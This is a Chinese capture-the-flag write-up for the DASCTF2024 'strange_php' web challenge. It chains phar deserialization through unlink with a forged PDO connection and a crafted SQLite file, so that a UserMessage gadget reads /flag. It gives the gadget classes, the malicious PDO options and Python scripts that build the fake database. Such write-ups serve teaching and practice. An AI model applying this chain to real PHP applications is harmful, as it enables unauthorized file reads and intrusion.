CTF-web: phar反序列化+数据库伪造 [DASCTF2024最后一战 strange_php]
step 1 如何触发反序列化?
漏洞入口在
welcome.php
case 'delete':
// 获取删除留言的路径,优先使用 POST 请求中的路径,否则使用会话中的路径
$message = $_POST['message_path'] ? $_POST['message_path'] : $_SESSION['message_path'];
$msg = $userMessage->deleteMessage($message); // 删除留言
if ($msg) {
echo "留言已成功删除"; // 输出成功删除信息
} else {
echo "操作失败,请重新尝试"; // 输出失败信息
}
break;
此处message_path
可控,进一步跟进
UserMessage.php
public function deleteMessage($path) {
$path = $path . ".txt"; // 添加文件扩展名
if (file_exists($path)) {
$result = unlink($path);
if ($result === false) {
return false;
}
return true;
}
return false;
}
$path
可控,同时unlink
可触发phar
反序列化
step 2 如何创造一个可控文件?
public function writeMessage($message) {
$result = file_put_contents($this->filePath, $message);
if ($result === false) {
return false;
}
return true;
}
step 3 如何利用反序列化读取flag?
<?php
class UserMessage {
private $filePath;
........
// 魔术方法 __set,用于设置私有属性并记录日志
public function __set($name, $value) {
$this->$name = $value;
$logContent = file_get_contents($this->filePath) . "</br>";
file_put_contents("/var/www/html/log/" . md5($this->filePath) . ".txt", $logContent);
}
.......
?>
魔术方法__set()
在设置未定义或不可访问的属性时自动调用。用于控制对属性的设置。
class MyClass {
private $data = [];
public function __set($name, $value) {
$this->data[$name] = $value;
}
}
$obj = new MyClass();
$obj->name = 'John';
echo $obj->name; // __get() 被调用,输出: John
step 4 如何触发__set()
?
题目使用PDO
链接数据库
PDO_connect.php
<?php
class PDO_connect {
private $pdo; // 用于保存 PDO 实例
public $con_options = []; // 用于设置 PDO 连接的选项
public $smt; // 用于保存 PDOStatement 实例
public function __construct() {
// 构造函数,初始化对象时调用
}
// 初始化连接选项
public function init() {
$this->con_options = array(
"dsn" => "mysql:host=localhost:3306;dbname=users;charset=utf8", // 数据源名称
'host' => '127.0.0.1', // 数据库主机地址
'port' => '3306', // 数据库端口
'user' => 'joker', // 数据库用户名
'password' => 'joker', // 数据库密码
'charset' => 'utf8', // 字符集
'options' => array(
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, // 设置默认获取模式为关联数组
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION // 设置错误处理模式为抛出异常
)
);
}
// 获取数据库连接
public function get_connection() {
$this->conn = null; // 初始化连接为 null try {
// 创建 PDO 实例
$this->conn = new PDO($this->con_options['dsn'], $this->con_options['user'], $this->con_options['password']);
// 设置错误处理模式
if ($this->con_options['options'][PDO::ATTR_ERRMODE]) {
$this->conn->setAttribute(PDO::ATTR_ERRMODE, $this->con_options['options'][PDO::ATTR_ERRMODE]);
}
// 设置默认获取模式
if (isset($this->con_options['options'][PDO::ATTR_DEFAULT_FETCH_MODE])) {
$this->conn->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, $this->con_options['options'][PDO::ATTR_DEFAULT_FETCH_MODE]);
}
} catch (PDOException $e) {
// 捕获异常并输出错误信息
echo 'Connection Error: ' . $e->getMessage();
}
return $this->conn; // 返回 PDO 连接实例
}
}
?>
在PHP的PDO(PHP Data Objects)中,
PDO::ATTR_DEFAULT_FETCH_MODE
是一个属性,用于设置默认的获取模式(fetch mode)。这决定了当你从数据库中获取数据时,PDO如何返回结果。
PDO::FETCH_CLASS
和 PDO::FETCH_CLASSTYPE
是两种不同的获取模式:
-
PDO::FETCH_CLASS:此模式会将每一行结果映射到一个指定的类的实例中。忽略结果集中的字段名称,如果字段名与类中的属性名匹配,则自动赋值。
-
PDO::FETCH_CLASSTYPE:当与
PDO::FETCH_CLASS
结合使用时,这个模式允许根据结果集中指定的一列动态决定要实例化的类。这意味着你可以根据数据库中的某个字段的值来决定使用哪个类来创建对象。
通过将 PDO::FETCH_CLASS
和 PDO::FETCH_CLASSTYPE
使用按位或运算符 |
结合,可以实现根据数据库中的某个字段动态实例化不同的类。
PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE:这个组合的获取模式意味着 PDO 会根据结果集第一列的值作为要实例化的类名,并将查询结果的其余列映射到类的属性中。
class Admin {
public $id;
public $username;
public $password;
public function __construct($id, $username, $password) {
$this->id = $id;
$this->username = $username;
$this->password = $password;
}
}
class Member {
public $id;
public $username;
public $password;
public function __construct($id, $username, $password) {
$this->id = $id;
$this->username = $username;
$this->password = $password;
}
}
$dsn = 'sqlite:/path/to/your/database/file.db';
$username = 'root';
$password = 'root';
$options = [PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE];
$pdo = new PDO($dsn, $username, $password);
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE);
$query = "SELECT class_name, id, username, password FROM users";
$statement = $pdo->query($query);
while ($user = $statement->fetch()) {
echo get_class($user) . "\n"; // 打印当前行映射的类名
echo $user->id . "\n";
echo $user->username . "\n";
echo $user->password . "\n";
}
在这个例子中,PDO 会根据 class_name
列的值来决定实例化 Admin
或 Member
类。其他列 (id
, username
, password
) 将被传递给相应类的构造函数。
我们可以伪造一个虚假的数据库文件写入.txt并通过反序列化方式伪造PDO所需要的数组,那么在查询时就会返回我们伪造的结果
从这里可以得知目录路径
public function __set($name, $value) {
$this->$name = $value;
$logContent = file_get_contents($this->filePath) . "</br>";
file_put_contents("/var/www/html/log/" . md5($this->filePath) . ".txt", $logContent);
}
可以写出
class PDO_connect{
private $pdo;
public $con_options = [];
public $smt;
public function __construct(){
$this->con_options =
[ "dsn"=>'sqlite:/var/www/html/xxx.txt',
"username"=>"root",
"password"=>"root",
"options"=>[
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS|PDO::FETCH_CLASSTYPE
]
];
}
}
step 5 如何触发PDO_connect
?
利用User.__destruct
User.php
public function __destruct() {
if ($this->username) {
$results = $this->log();
$log_mess = serialize($results);
// 记录日志到文件
file_put_contents("log/" . md5($this->username) . ".txt", $log_mess . "\n", FILE_APPEND);
}
}
->log即可触发查询,当查询键为UserMessage
会返回伪造的值
public function log() {
try {
$sql = "SELECT * FROM users WHERE username = :username";
$pdo = $this->conn->get_connection();
$stmt = $pdo->prepare($sql);
$stmt->bindParam(':username', $this->username);
$stmt->execute();
$result = $stmt->fetch();
return $result;
} catch (PDOException $e) {
echo $e->getMessage();
}
}
所以写出
class PDO_connect{
private $pdo;
public $con_options = [];
public $smt;
public function __construct(){
$this->con_options = [
"dsn"=>'sqlite:./fake_db.sqlite',
"username"=>"root",
"password"=>"root",
"options"=>[
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS|PDO::FETCH_CLASSTYPE
]
];
}
}
class User{
private $conn;
private $table = 'users';
public $id;
public $username;
public $password;
public function __construct(){
$this->conn = new PDO_connect();
$this->username = "UserMessage";
}
}
尝试
import sqlite3
conn = sqlite3.connect('fake_db.sqlite')
cursor = conn.cursor()
cursor.execute('''
CREATE TABLE IF NOT EXISTS users (
username TEXT NOT NULL,
filePath TEXT NOT NULL,
set_name TEXT NOT NULL,
id INTEGER PRIMARY KEY AUTOINCREMENT)
''')
users = [
('UserMessage', 'filePath_value', 'set_value'),
]
cursor.executemany(''' INSERT INTO users (username, filePath, set_name) VALUES (?,?,?) ''', users)
conn.commit()
cursor.execute('SELECT * FROM users')
conn.close()
import sqlite3
conn = sqlite3.connect('fake.db')
cursor = conn.cursor()
cursor.execute('''
CREATE TABLE IF NOT EXISTS users (
username TEXT NOT NULL,
filePath TEXT NOT NULL,
password TEXT NOT NULL,
id INTEGER PRIMARY KEY AUTOINCREMENT)
''')
users = [
('UserMessage', '/flag', '/flag'),
]
cursor.executemany('''
INSERT INTO users (username, password,filePath) VALUES (?,?,?)
''', users)
conn.commit()
cursor.execute('SELECT * FROM users')
conn.close()
即可控制变量值触发/flag
读取